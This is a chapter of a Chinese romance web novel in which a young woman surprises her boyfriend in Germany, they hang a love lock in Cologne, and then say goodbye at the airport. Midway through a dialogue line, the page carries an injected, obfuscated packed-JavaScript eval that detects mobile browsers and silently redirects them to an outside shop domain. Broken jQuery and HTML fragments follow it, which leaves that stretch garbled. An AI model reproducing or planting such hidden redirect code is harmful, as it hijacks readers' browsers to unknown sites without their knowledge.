日子过得飞快。
许知蕴现在想想，都惊异于时间真的如流水一般，掬起一捧，很快就从指尖流走了，一点一滴都不剩。
她仍然会想起那段日子——年三十的晚上，她一边看电视守岁，一边和程烨然打电话。他此刻也在看中央台的转播，正播到小品的部分，演员抖了一个包袱，他们就齐齐笑起来。到了后来开始倒数的时候，尽管她知道，程烨然那边当然没有到晚上——但他还是很认真地同她一起倒计时：十、九、八、七……
倒数第三秒、倒数第二秒、最后一秒——
窗外的夜空迸发出盛大的烟花。在轰隆隆的声音中，她听见程烨然在电话那头对她说：
“知蕴，新年快乐！”
隔着透明的电话线，他的声音从大洋彼岸传过来。
视频里他的脸模糊了，但声音却很清晰。
第二天，她就踏上了去德国的航班。许父许母对她的决定简直就是大力支持。许母问她：“要在那里玩多久呢？”
许知蕴说：“我……我还没买回程的机票呢。”
她坐了很久的飞机，拿了本书看，最后实在看不动了，就昏昏沉沉地睡过去。等到广播响起，她才猛然惊醒。跟随人流下了飞机，耳朵里弥漫着听不懂的陌生语言。她在转盘处取了行李，就这样慢慢地走出了机场。
很冷。她打了一个喷嚏。幸好来的时候带了足够的衣服，身上这件羽绒服因为实在太厚，几乎没怎么穿过，变成了压箱底的款式。她没急着去海德堡，而是优哉游哉地将慕尼黑逛了个遍。她在玛利亚广场逗留了一会，随后去到老彼得教堂——爬上去太高了，提着行李，只好放弃。要不是时间不够，她还想多多参观几个博物馆。
她搭上火车，前往最终的目的地。程烨然居住的公寓就在大学附近，很快就能找到。这时暮色降临，晚霞很美，她忍不住拿出手机拍了张照——一只鸟儿从镜头前飞过了。由于飞得太快，她辨认不出它的品种。最后她走到公寓的台阶门口，却不知道能不能进去。她想，自己既然是要准备一个惊喜，那究竟要不要给他打电话呢？
就在她有些为难的时候，房门被打开了。她一眼就认出那是他提过多次的一个房东太太。满头银发，性格和蔼。许知蕴都准备打开手机里提前下载好的翻译器了，却听见老太太的口中蹦出略微生涩但能听得懂的英语：“请问你是……”
许知蕴刚要解释，却看见房东太太笑起来：“我知道，我知道你是谁！”
她把许知蕴拉进来，走进温暖的室内，替她准备好了毛茸茸的拖鞋，帮她将外头的羽绒服脱下来，挂在衣帽架上。“你是程的女朋友，我知道你……他给我看过你的照片。”
许知蕴磕磕巴巴道：“这、这样……”
房东太太请她坐下，说请她喝东西。许知蕴连忙从沙发上坐起来，说要去帮忙。房东太太给她一个手势，让她安心坐下：“亲爱的，从中国跑过来一定很累，稍微休息一会吧。”
不多时，两杯热巧克力就被端出来。许知蕴双手捧着杯子，暖融融的，感觉自己也和巧克力一样被融化掉了。
“程知道你要来吗？”房东太太问。
许知蕴摇摇头：“不，他不知道。我是瞒着他来的。”
“年轻真好呀。”房东太太笑道，“年轻时我也做过一样的事，不过我不像你一样勇敢。我去的地方不远，只是阿姆斯特丹。那个时候也不是冬天，而是夏天——好喝吗？我不确定你的口味。我听说东方人不嗜甜，所以没有放很多糖。”
许知蕴赶紧道：“好喝的，味道也很好。谢谢您了。”
“真好。程或许还要一段时间才回来。方便的话，你可以同我讲讲中国的事情吗？什么都行。”
“当然可以！今天是我们农历新年的第一天……”
不知过了多久，她们聊着，忽然听见脚步声和“咔哒”一声，钥匙拧开门锁的声音。程烨然穿着一身黑色的羽绒服，戴着厚实的毛线帽，抬腿迈进来，手里还拿着手机——贴在耳边，正与什么人打电话。他看见客厅里房东太太的身影，习惯性地问好，目光却在触及沙发的一刻怔住了——
他的手机差点掉在地上。
还是程烨然足够眼疾手快，一手抄了起来，手机才避免被摔坏的命运。
“我……”他不可置信地揉了揉眼睛，“我……你……”
许知蕴则朝他挥挥手，笑着说：
“晚上好呀，帅哥。”
*
许知蕴在德国度过了短暂却快乐的几天。
程烨然没空的时候，她就自得其乐地在各个城市的景点里乱晃。有时她在某天特别想看某两个景点，但它们并不在一个城市，许知蕴就会起一个大早，乘火车在一天之内将两个地方都跑遍。程烨然终于请到了假期，他们就跑到柏林，甚至跑到法兰克福，搭一趟去巴黎的火车，短暂地在法国待上半天。
他们也终于去到了科隆。这段时间德国不下雪，天气晴朗，天空泛着冷冷的湛蓝，大教堂的尖顶高耸，她跟着程烨然一起爬上了最顶端。其实科隆只是一座很小的城市，若是没有这座教堂，它未必会这么出名。许知蕴快乐地踩着台阶走下来，他们出了教堂的门，看见一堆人围在不远处，像是在拍电影。许知蕴偷偷指着里边被众星拱月的演员问程烨然：“你认识他们吗？很出名吗？”
程烨然笑着摇摇头：“我也不认识啊。”
她终于能够窥见他当时镜头里景色的延伸。
她指着一处，问：“那就是霍亨索伦桥吗？”
“嗯。”
许知蕴说：“我们走吧。我要从这座桥上走过去。”
但她虽然这么说着，却没有立刻踏上桥面。她跟着一群男男女女一起，来到了一家锁店。他们挑选了一把锁，在锁上再次刻下了他们名字的缩写。
[XZY&CYR]
排队刻字也花了不少功夫。拿到锁，许知蕴拉过程烨然的手，他们找了一个地方，一并蹲下来，将锁牢固地挂在栏杆上。做完这一切，她站起身来，松了一口气。
“程烨然。”往回走的时候她说，“你给房东太太看过我的照片？”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14315082|149342||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“……嗯。”他有些不好意思地笑笑，“那一次，我不小心把钱包掉地上了，然后——”
许知蕴懂了。
“你把我的照片放钱包里啦？”
程烨然的耳朵久违地红了起来。他把头偏过去，许知蕴却偏不让他如意。她伸出手，将他的脑袋温柔地扳过来。她直视着他的眼睛：“我之前……听你说的时候，我就去查了一下。霍亨索伦桥，是个什么地方？后来我明白了——”
她慢慢道：“人们相信，在桥上挂一个锁，然后把钥匙丢进河里，爱情就会天长地久。我查完资料后就在想，你一个人站在这里的时候……”
“你一个人站在这里的时候，会感到寂寞吗？这里可是著名的情人桥啊。”
程烨然握住她放在自己脸上的手。
“我不会寂寞的。”他说，“在那个时候，你在同我打电话——我当然不寂寞了。”
因为耳边有你的声音，因此我不会感到孤单。
他没有说自己已经偷偷在这里挂了一把锁——听起来也太幼稚，太傻了。他看见许知蕴的脸上掠过复杂的神色，她想说什么，但最终什么也没说。她的拳头攥得很紧，程烨然温柔地将她的手包裹住了，随后他们一起朝空中扬起手来——
沐浴着阳光的银色小钥匙，就这样在空中划出了一个完美的抛物线。
“好啦。”
许知蕴笑起来。
——其实早在我查完资料的时候，就想这么做了。
……
许知蕴回去的那一天，程烨然送她到了机场。她的行李箱里多了很多东西，都是从德国带回去的特产和手工小玩意。她朝空中呵了一口热气，很快就消散了。这是她在冬日最乐此不疲的把戏。
程烨然说，谢谢你能来陪我。
他伸手替她整理额前的碎发，裹紧围巾。许知蕴安静地任由他动作。她想，好像之前在机场里送程烨然走，也只是几天前的事情。
他们在安检口前道别，仪式是一个落在额头的吻。许知蕴跟随着人流走去安检。她刻意把步伐维持在一个不快不慢的速度，因为她想要努力将心神放在保持节奏上，而不是什么别的地方。只是在经过层层安检后她看见了那一串滚动着的数字；那是航班的数字。耳朵里是英语和德语，她这几天也努力学了几句德语，只是除了“你好”“谢谢”“再见”之外，她也没学多少。
唯独只学了一句话：“Ichliebedich.”
这是“我爱你”的表达。
许知蕴看着时间，一分一秒地流逝了。在广播登机的时候，她忽然很想很想回头——即使她知道后面全都是陌生的人群，她也还是很想回头。但她克制住了，只不过在走上廊桥时，借着余光最后回望了一眼。
吵闹的人群，嘈杂的声音。
我的目光会和他的撞到一起吗？
*
回到家里，继续过着同之前一样的生活。
但在二月的中旬，冬天的末尾之际，许知蕴收到了一条消息。
发信人是“编辑”。